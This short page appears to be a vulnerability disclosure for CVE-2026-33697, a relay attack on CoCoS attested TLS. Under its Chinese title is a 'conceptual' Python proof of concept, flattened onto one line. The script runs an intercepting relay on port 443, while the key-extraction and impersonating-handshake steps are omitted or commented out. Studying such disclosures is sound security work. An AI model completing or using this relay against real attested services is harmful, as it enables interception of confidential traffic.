CVE-2026-33697 CoCoS aTLS中继攻击漏洞

# Conceptual PoC for CVE-2026-33697 Relay Attack # Note: Actual key extraction (step 1) is hardware-specific and omitted. import socket import ssl # 1. Attacker extracts ephemeral private key via side-channel (Hypothetical) # ephemeral_key = extract_key_from_tee() def start_relay(): # 2. Setup malicious relay socket attacker_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) attacker_socket.bind(('0.0.0.0', 443)) attacker_socket.listen(5) print("[+] Relay started, waiting for victims...") while True: client, addr = attacker_socket.accept() print(f"[+] Connection intercepted from {addr}") # 3. Establish connection to genuine CoCoS service try: genuine_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) genuine_server.connect(('genuine-cocos-host', 443)) # 4. Perform aTLS handshake using the extracted ephemeral key # This convinces the client the attacker is the attested service # context = ssl.create_default_context() # context.load_cert_chain(certfile="attested_cert", keyfile=ephemeral_key) # 5. Relay traffic between client and server # Client <-> Attacker <-> Genuine Server while True: data = client.recv(4096) if not data: break genuine_server.send(data) response = genuine_server.recv(4096) if not response: break client.send(response) except Exception as e: print(f"[-] Error: {e}") finally: client.close() genuine_server.close() if __name__ == "__main__": start_relay()